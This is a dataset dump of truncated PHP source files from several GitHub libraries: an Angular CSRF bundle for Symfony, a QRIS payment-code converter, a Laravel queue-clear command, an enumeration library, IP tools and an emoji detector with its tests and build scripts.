repo stringlengths 7 63 | file_url stringlengths 81 284 | file_path stringlengths 5 200 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 15:02:33 2026-01-05 05:24:06 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
dunglas/DunglasAngularCsrfBundle | https://github.com/dunglas/DunglasAngularCsrfBundle/blob/3336d886e04d2cd089b8c19b2769b1908fa78744/Features/Context/Fixtures/TestBundle/Form/Type/CsrfProtectedType.php | Features/Context/Fixtures/TestBundle/Form/Type/CsrfProtectedType.php | <?php
/*
* (c) Kévin Dunglas <dunglas@gmail.com>
*
* This source file is subject to the MIT license that is bundled
* with this source code in the file LICENSE.
*/
namespace Dunglas\AngularCsrfBundle\Features\Context\Fixtures\TestBundle\Form\Type;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\F... | php | MIT | 3336d886e04d2cd089b8c19b2769b1908fa78744 | 2026-01-05T04:09:17.387813Z | false |
dunglas/DunglasAngularCsrfBundle | https://github.com/dunglas/DunglasAngularCsrfBundle/blob/3336d886e04d2cd089b8c19b2769b1908fa78744/Csrf/AngularCsrfTokenManager.php | Csrf/AngularCsrfTokenManager.php | <?php
/*
* (c) Kévin Dunglas <dunglas@gmail.com>
*
* This source file is subject to the MIT license that is bundled
* with this source code in the file LICENSE.
*/
namespace Dunglas\AngularCsrfBundle\Csrf;
use Symfony\Component\Security\Csrf\CsrfToken;
use Symfony\Component\Security\Csrf\CsrfTokenManagerInterfa... | php | MIT | 3336d886e04d2cd089b8c19b2769b1908fa78744 | 2026-01-05T04:09:17.387813Z | false |
dunglas/DunglasAngularCsrfBundle | https://github.com/dunglas/DunglasAngularCsrfBundle/blob/3336d886e04d2cd089b8c19b2769b1908fa78744/EventListener/AngularCsrfCookieListener.php | EventListener/AngularCsrfCookieListener.php | <?php
/*
* (c) Kévin Dunglas <dunglas@gmail.com>
*
* This source file is subject to the MIT license that is bundled
* with this source code in the file LICENSE.
*/
namespace Dunglas\AngularCsrfBundle\EventListener;
use Dunglas\AngularCsrfBundle\Csrf\AngularCsrfTokenManager;
use Dunglas\AngularCsrfBundle\Routing... | php | MIT | 3336d886e04d2cd089b8c19b2769b1908fa78744 | 2026-01-05T04:09:17.387813Z | false |
dunglas/DunglasAngularCsrfBundle | https://github.com/dunglas/DunglasAngularCsrfBundle/blob/3336d886e04d2cd089b8c19b2769b1908fa78744/EventListener/AngularCsrfValidationListener.php | EventListener/AngularCsrfValidationListener.php | <?php
/*
* (c) Kévin Dunglas <dunglas@gmail.com>
*
* This source file is subject to the MIT license that is bundled
* with this source code in the file LICENSE.
*/
namespace Dunglas\AngularCsrfBundle\EventListener;
use Dunglas\AngularCsrfBundle\Csrf\AngularCsrfTokenManager;
use Dunglas\AngularCsrfBundle\Routing... | php | MIT | 3336d886e04d2cd089b8c19b2769b1908fa78744 | 2026-01-05T04:09:17.387813Z | false |
verssache/qris-dinamis | https://github.com/verssache/qris-dinamis/blob/ea95c281e439215e96ad8b59e9a0419ce719f732/qris.php | qris.php | <?php
// 00020101021126570011ID.DANA.WWW011893600915302259148102090225914810303UMI51440014ID.CO.QRIS.WWW0215ID10200176114730303UMI5204581253033605802ID5922Warung Sayur Bu Sugeng6010Kab. Demak610559567630458C7
echo "[+] QRIS Statis to Dinamis Converter - By: GidhanB.A\n";
echo "[+] Input Data QRIS: ";
$qris = trim(fge... | php | MIT | ea95c281e439215e96ad8b59e9a0419ce719f732 | 2026-01-05T04:09:30.965521Z | false |
morrislaptop/laravel-queue-clear | https://github.com/morrislaptop/laravel-queue-clear/blob/58c8b64e0f6e9f190fa687b8e44b442a649cbc98/src/LaravelQueueClearServiceProvider.php | src/LaravelQueueClearServiceProvider.php | <?php namespace Morrislaptop\LaravelQueueClear;
use Illuminate\Support\ServiceProvider;
class LaravelQueueClearServiceProvider extends ServiceProvider {
/**
* Indicates if loading of the provider is deferred.
*
* @var bool
*/
protected $defer = false;
/**
* Register the service provider.
*
* @retur... | php | MIT | 58c8b64e0f6e9f190fa687b8e44b442a649cbc98 | 2026-01-05T04:09:37.877653Z | false |
morrislaptop/laravel-queue-clear | https://github.com/morrislaptop/laravel-queue-clear/blob/58c8b64e0f6e9f190fa687b8e44b442a649cbc98/src/Clearer.php | src/Clearer.php | <?php namespace Morrislaptop\LaravelQueueClear;
use Illuminate\Queue\QueueManager;
use Illuminate\Contracts\Queue\Factory as FactoryContract;
use Morrislaptop\LaravelQueueClear\Contracts\Clearer as ClearerContract;
class Clearer implements ClearerContract
{
/**
* @var QueueManager
*/
protected $mana... | php | MIT | 58c8b64e0f6e9f190fa687b8e44b442a649cbc98 | 2026-01-05T04:09:37.877653Z | false |
morrislaptop/laravel-queue-clear | https://github.com/morrislaptop/laravel-queue-clear/blob/58c8b64e0f6e9f190fa687b8e44b442a649cbc98/src/Contracts/Clearer.php | src/Contracts/Clearer.php | <?php namespace Morrislaptop\LaravelQueueClear\Contracts;
use Illuminate\Contracts\Queue\Factory as FactoryContract;
interface Clearer
{
/**
* @param FactoryContract $manager
*/
function __construct(FactoryContract $manager);
/**
* Deletes all the jobs in the queue for connection. Returns
* how many jobs ... | php | MIT | 58c8b64e0f6e9f190fa687b8e44b442a649cbc98 | 2026-01-05T04:09:37.877653Z | false |
morrislaptop/laravel-queue-clear | https://github.com/morrislaptop/laravel-queue-clear/blob/58c8b64e0f6e9f190fa687b8e44b442a649cbc98/src/Console/QueueClearCommand.php | src/Console/QueueClearCommand.php | <?php namespace Morrislaptop\LaravelQueueClear\Console;
use Illuminate\Console\Command;
use Illuminate\Contracts\Config\Repository;
use Illuminate\Queue\QueueManager;
use Morrislaptop\LaravelQueueClear\Contracts\Clearer as ClearerContract;
use Symfony\Component\Console\Input\InputArgument;
class QueueClearCommand ext... | php | MIT | 58c8b64e0f6e9f190fa687b8e44b442a649cbc98 | 2026-01-05T04:09:37.877653Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/AbstractMultiton.php | src/AbstractMultiton.php | <?php
namespace Eloquent\Enumeration;
use Eloquent\Enumeration\Exception\ExtendsConcreteException;
use Eloquent\Enumeration\Exception\UndefinedMemberException;
use Eloquent\Enumeration\Exception\UndefinedMemberExceptionInterface;
use Exception as NativeException;
use ReflectionObject;
/**
* Abstract base class for ... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/AbstractValueMultiton.php | src/AbstractValueMultiton.php | <?php
namespace Eloquent\Enumeration;
use Eloquent\Enumeration\Exception\ExtendsConcreteException;
use Eloquent\Enumeration\Exception\UndefinedMemberExceptionInterface;
/**
* Abstract base class for Java-style enumerations with a value.
*
* @api
*/
abstract class AbstractValueMultiton extends AbstractMultiton im... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/AbstractEnumeration.php | src/AbstractEnumeration.php | <?php
namespace Eloquent\Enumeration;
use ReflectionClass;
/**
* Abstract base class for C++ style enumerations.
*
* @api
*/
abstract class AbstractEnumeration extends AbstractValueMultiton implements
EnumerationInterface
{
/**
* Initializes the members of this enumeration based upon its class
... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/EnumerationInterface.php | src/EnumerationInterface.php | <?php
namespace Eloquent\Enumeration;
/**
* The interface implemented by C++ style enumeration instances.
*
* @api
*/
interface EnumerationInterface extends ValueMultitonInterface
{
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/ValueMultitonInterface.php | src/ValueMultitonInterface.php | <?php
namespace Eloquent\Enumeration;
/**
* The interface implemented by Java-style enumeration instances with a value.
*
* @api
*/
interface ValueMultitonInterface extends MultitonInterface
{
/**
* Returns the value of this member.
*
* @api
*
* @return mixed The value of this member.... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/MultitonInterface.php | src/MultitonInterface.php | <?php
namespace Eloquent\Enumeration;
/**
* The interface implemented by Java-style enumeration instances.
*
* @api
*/
interface MultitonInterface
{
/**
* Returns the string key of this member.
*
* @api
*
* @return string The associated string key of this member.
*/
public fu... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/Exception/UndefinedMemberExceptionInterface.php | src/Exception/UndefinedMemberExceptionInterface.php | <?php
namespace Eloquent\Enumeration\Exception;
/**
* The interface implemented by exceptions that are thrown when an undefined
* member is requested.
*
* @api
*/
interface UndefinedMemberExceptionInterface
{
/**
* Get the class name.
*
* @api
*
* @return string The class name.
... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/Exception/UndefinedMemberException.php | src/Exception/UndefinedMemberException.php | <?php
namespace Eloquent\Enumeration\Exception;
use Exception;
/**
* The requested member was not found.
*/
final class UndefinedMemberException extends AbstractUndefinedMemberException
{
/**
* Construct a new undefined member exception.
*
* @param string $className The name of the class... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/Exception/ExtendsConcreteException.php | src/Exception/ExtendsConcreteException.php | <?php
namespace Eloquent\Enumeration\Exception;
use Exception;
/**
* The supplied member extends an already concrete base class.
*
* This exception exists to prevent otherwise valid inheritance structures
* that are not valid in the context of enumerations.
*
* @api
*/
final class ExtendsConcreteException ext... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/src/Exception/AbstractUndefinedMemberException.php | src/Exception/AbstractUndefinedMemberException.php | <?php
namespace Eloquent\Enumeration\Exception;
use Exception;
/**
* An abstract base class for implementing undefined member exceptions.
*/
abstract class AbstractUndefinedMemberException extends Exception implements
UndefinedMemberExceptionInterface
{
/**
* Construct a new undefined member exception... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/MixedAccessibilityEnumeration.php | test/src/MixedAccessibilityEnumeration.php | <?php
use Eloquent\Enumeration\AbstractEnumeration;
/**
* An enumeration whose members have different accessibility levels.
*
* @method static IMPLICIT_PUBLIC()
* @method static EXPLICIT_PUBLIC()
*/
final class MixedAccessibilityEnumeration extends AbstractEnumeration
{
const IMPLICIT_PUBLIC = 'IMPLICIT_PUBL... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/HttpRequestMethod.php | test/src/HttpRequestMethod.php | <?php
use Eloquent\Enumeration\AbstractEnumeration;
final class HttpRequestMethod extends AbstractEnumeration
{
const OPTIONS = 'OPTIONS';
const GET = 'GET';
const HEAD = 'HEAD';
const POST = 'POST';
const PUT = 'PUT';
const DELETE = 'DELETE';
const TRACE = 'TRACE';
const CONNECT = 'CO... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Planet.php | test/src/Planet.php | <?php
use Eloquent\Enumeration\AbstractMultiton;
final class Planet extends AbstractMultiton
{
/**
* Universal gravitational constant.
*
* @var float
*/
const G = 6.67300E-11;
/**
* @return float
*/
public function surfaceGravity()
{
return self::G * $this->m... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/ValidValueMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/ValidValueMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class ValidValueMultiton extends TestValueMultiton
{
public static function resetCalls()
{
static::$calls = array();
}
public static function calls()
{
return static::$calls;
}
protected static function initializeMembers(... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/TestMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/TestMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
use Eloquent\Enumeration\AbstractMultiton;
abstract class TestMultiton extends AbstractMultiton
{
protected static function initializeMembers()
{
parent::initializeMembers();
static::$calls[] = array(
get_called_class() . '::' . ... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/ValidMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/ValidMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class ValidMultiton extends TestMultiton
{
public static function resetCalls()
{
static::$calls = array();
}
public static function calls()
{
return static::$calls;
}
public function value()
{
return $this->va... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/InvalidValueMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/InvalidValueMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class InvalidValueMultiton extends ValidValueMultiton
{
protected static function initializeMembers()
{
parent::initializeMembers();
new static('QUX', 'xuq');
}
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/InvalidEnumeration.php | test/src/Eloquent/Enumeration/Test/Fixture/InvalidEnumeration.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class InvalidEnumeration extends ValidEnumeration
{
const QUX = 'xuq';
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/TestValueMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/TestValueMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
use Eloquent\Enumeration\AbstractValueMultiton;
abstract class TestValueMultiton extends AbstractValueMultiton
{
protected static function initializeMembers()
{
parent::initializeMembers();
static::$calls[] = array(
get_called_cl... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/ValidEnumeration.php | test/src/Eloquent/Enumeration/Test/Fixture/ValidEnumeration.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class ValidEnumeration extends TestEnumeration
{
const BAZ = 'zab';
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/InvalidMultiton.php | test/src/Eloquent/Enumeration/Test/Fixture/InvalidMultiton.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
class InvalidMultiton extends ValidMultiton
{
protected static function initializeMembers()
{
parent::initializeMembers();
new static('QUX', 'xuq');
}
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/src/Eloquent/Enumeration/Test/Fixture/TestEnumeration.php | test/src/Eloquent/Enumeration/Test/Fixture/TestEnumeration.php | <?php
namespace Eloquent\Enumeration\Test\Fixture;
use Eloquent\Enumeration\AbstractEnumeration;
abstract class TestEnumeration extends AbstractEnumeration
{
const FOO = 'oof';
const BAR = 'rab';
}
| php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/AbstractMultitonTest.php | test/suite/AbstractMultitonTest.php | <?php
namespace Eloquent\Enumeration;
use Eloquent\Enumeration\Test\Fixture\InvalidMultiton;
use Eloquent\Enumeration\Test\Fixture\ValidMultiton;
use PHPUnit\Framework\TestCase;
use ReflectionClass;
class AbstractMultitonTest extends TestCase
{
protected function setUp()
{
ValidMultiton::resetCalls()... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/AbstractEnumerationTest.php | test/suite/AbstractEnumerationTest.php | <?php
namespace Eloquent\Enumeration;
use Eloquent\Enumeration\Test\Fixture\InvalidEnumeration;
use Eloquent\Enumeration\Test\Fixture\ValidEnumeration;
use PHPUnit\Framework\TestCase;
use ReflectionClass;
class AbstractEnumerationTest extends TestCase
{
protected function setUp()
{
$reflector = new R... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/FunctionalTest.php | test/suite/FunctionalTest.php | <?php
use PHPUnit\Framework\TestCase;
class FunctionalTest extends TestCase
{
/**
* Test basic setup of HttpRequestMethod class.
*/
public function testHttpRequestMethodSetup()
{
$expected = array(
'OPTIONS' => HttpRequestMethod::OPTIONS(),
'GET' => HttpRequestMet... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/AbstractValueMultitonTest.php | test/suite/AbstractValueMultitonTest.php | <?php
namespace Eloquent\Enumeration;
use Eloquent\Enumeration\Test\Fixture\InvalidValueMultiton;
use Eloquent\Enumeration\Test\Fixture\ValidValueMultiton;
use PHPUnit\Framework\TestCase;
use ReflectionClass;
class AbstractValueMultitonTest extends TestCase
{
protected function setUp()
{
ValidValueMu... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/Exception/UndefinedMemberExceptionTest.php | test/suite/Exception/UndefinedMemberExceptionTest.php | <?php
namespace Eloquent\Enumeration\Exception;
use Exception;
use PHPUnit\Framework\TestCase;
/**
* @covers \Eloquent\Enumeration\Exception\UndefinedMemberException
* @covers \Eloquent\Enumeration\Exception\AbstractUndefinedMemberException
*/
class UndefinedMemberExceptionTest extends TestCase
{
public funct... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
eloquent/enumeration | https://github.com/eloquent/enumeration/blob/af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4/test/suite/Exception/ExtendsConcreteExceptionTest.php | test/suite/Exception/ExtendsConcreteExceptionTest.php | <?php
namespace Eloquent\Enumeration\Exception;
use Exception;
use PHPUnit\Framework\TestCase;
class ExtendsConcreteExceptionTest extends TestCase
{
public function testException()
{
$className = 'foo';
$parentClass = 'bar';
$previous = new Exception();
$exception = new Extend... | php | MIT | af8c4099f4d7bc66d819aa6ea0bfe4403df9c1b4 | 2026-01-05T04:09:48.785213Z | false |
akalongman/php-ip-tools | https://github.com/akalongman/php-ip-tools/blob/7c38137f5c5024e9fcdd32dc4ea6ea4349b08678/src/Ip.php | src/Ip.php | <?php
/*
* This file is part of the IPTools package.
*
* (c) Avtandil Kikabidze aka LONGMAN <akalongman@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Longman\IPTools;
/**
* Class to determine if an IP is lo... | php | MIT | 7c38137f5c5024e9fcdd32dc4ea6ea4349b08678 | 2026-01-05T04:10:07.286694Z | false |
akalongman/php-ip-tools | https://github.com/akalongman/php-ip-tools/blob/7c38137f5c5024e9fcdd32dc4ea6ea4349b08678/tests/Bootstrap.php | tests/Bootstrap.php | <?php
/*
* This file is part of the IPTools package.
*
* (c) Avtandil Kikabidze aka LONGMAN <akalongman@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Tests;
/*
* Set error reporting to the max level.
*/
er... | php | MIT | 7c38137f5c5024e9fcdd32dc4ea6ea4349b08678 | 2026-01-05T04:10:07.286694Z | false |
akalongman/php-ip-tools | https://github.com/akalongman/php-ip-tools/blob/7c38137f5c5024e9fcdd32dc4ea6ea4349b08678/tests/Unit/TestCase.php | tests/Unit/TestCase.php | <?php
namespace Tests\Unit;
class TestCase extends \PHPUnit_Framework_TestCase
{
protected function skip64BitTest()
{
if (PHP_INT_SIZE == 4) {
$this->markTestSkipped(
'Skipping test that can run only on a 64-bit build of PHP.'
);
}
}
}
| php | MIT | 7c38137f5c5024e9fcdd32dc4ea6ea4349b08678 | 2026-01-05T04:10:07.286694Z | false |
akalongman/php-ip-tools | https://github.com/akalongman/php-ip-tools/blob/7c38137f5c5024e9fcdd32dc4ea6ea4349b08678/tests/Unit/IpTest.php | tests/Unit/IpTest.php | <?php
/*
* This file is part of the IPTools package.
*
* (c) Avtandil Kikabidze aka LONGMAN <akalongman@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Tests\Unit;
use \Longman\IPTools\Ip;
/**
* @package ... | php | MIT | 7c38137f5c5024e9fcdd32dc4ea6ea4349b08678 | 2026-01-05T04:10:07.286694Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/example.php | example.php | <?php
require('vendor/autoload.php');
$input = "Hello 👍🏼 World 👨👩👦👦";
$emoji = Emoji\detect_emoji($input);
print_r($emoji);
$emoji = Emoji\is_single_emoji('👨👩👦👦');
print_r($emoji);
echo Emoji\replace_emoji('I like 🌮 and 🌯')."\n";
echo "\n";
$string = "Trešnja 🍒";
$emoji = Emoji\detect_emoj... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/src/Emoji.php | src/Emoji.php | <?php
namespace Emoji;
define('LONGEST_EMOJI', 10);
function detect_emoji($string) {
// Find all the emoji in the input string
$prev_encoding = mb_internal_encoding();
mb_internal_encoding('UTF-8');
$data = array();
static $map;
if(!isset($map))
$map = _load_map();
static $baseCodepoints;
if(!... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/EmojiRemoveTest.php | tests/EmojiRemoveTest.php | <?php
namespace Emoji;
class EmojiRemoveTest extends \PHPUnit\Framework\TestCase {
public function testRemoveEmojiSimple() {
$string = "I like 🌮 and 🌯";
$removed = remove_emoji($string);
$this->assertSame('I like and ', $removed);
}
public function testRemoveEmojiCollapse() {
$string = "I li... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/EmojiDetectTest.php | tests/EmojiDetectTest.php | <?php
namespace Emoji;
class EmojiDetectTest extends \PHPUnit\Framework\TestCase {
public function testDetectSimpleEmoji() {
$string = '😻';
$emoji = detect_emoji($string);
$this->assertCount(1, $emoji);
$this->assertSame('😻', $emoji[0]['emoji']);
$this->assertSame('heart_eyes_cat', $emoji[0]['... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/EmojiReplaceTest.php | tests/EmojiReplaceTest.php | <?php
namespace Emoji;
class EmojiReplaceTest extends \PHPUnit\Framework\TestCase {
public function testReplaceEmojiDefault() {
$string = "I like 🌮 and 🌯";
$replaced = replace_emoji($string);
$this->assertSame('I like taco and burrito', $replaced);
}
public function testReplaceEmojiPrefix() {
... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/EmojiVersionTest.php | tests/EmojiVersionTest.php | <?php
namespace Emoji;
class EmojiVersionTest extends \PHPUnit\Framework\TestCase {
public function testEmoji13_0() {
# Spot check a few emoji from Emoji 13.0
# https://emojipedia.org/emoji-13.0/
$string = '🫁 🤌🏽 🤵🏾♀️';
$emojis = detect_emoji($string);
$this->assertCount(3, $emojis);
$t... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/EmojiSingleTest.php | tests/EmojiSingleTest.php | <?php
namespace Emoji;
class EmojiSingleTest extends \PHPUnit\Framework\TestCase {
public function testSingleEmoji() {
$string = '😻';
$emoji = is_single_emoji($string);
$this->assertSame($string, $emoji['emoji']);
$this->assertSame(0, $emoji['byte_offset']);
}
public function testSingleComposi... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/tests/bootstrap.php | tests/bootstrap.php | <?php
require_once __DIR__ . '/../vendor/autoload.php';
| php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/build/build.php | build/build.php | <?php
// Build the mapping array of hex unicode code point lists to shortnames.
// From Slack's emoji.json
// https://github.com/iamcal/emoji-data
// https://raw.githubusercontent.com/iamcal/emoji-data/master/emoji_pretty.json
$emoji_data = json_decode(file_get_contents('https://raw.githubusercontent.com/iamcal/emoji-... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
aaronpk/emoji-detector-php | https://github.com/aaronpk/emoji-detector-php/blob/dce4638e215622181d272f08145a3f97b735b1c7/build/build-reverse.php | build/build-reverse.php | <?php
// build the reverse mapping arrays for each skin variation
$emoji_data = json_decode(file_get_contents('https://raw.githubusercontent.com/iamcal/emoji-data/master/emoji_pretty.json'), true);
$map = [];
$skin_tones = array(
'1F3FB' => 'skin-tone-2',
'1F3FC' => 'skin-tone-3',
'1F3FD' => 'skin-tone-... | php | MIT | dce4638e215622181d272f08145a3f97b735b1c7 | 2026-01-05T04:10:22.026526Z | false |
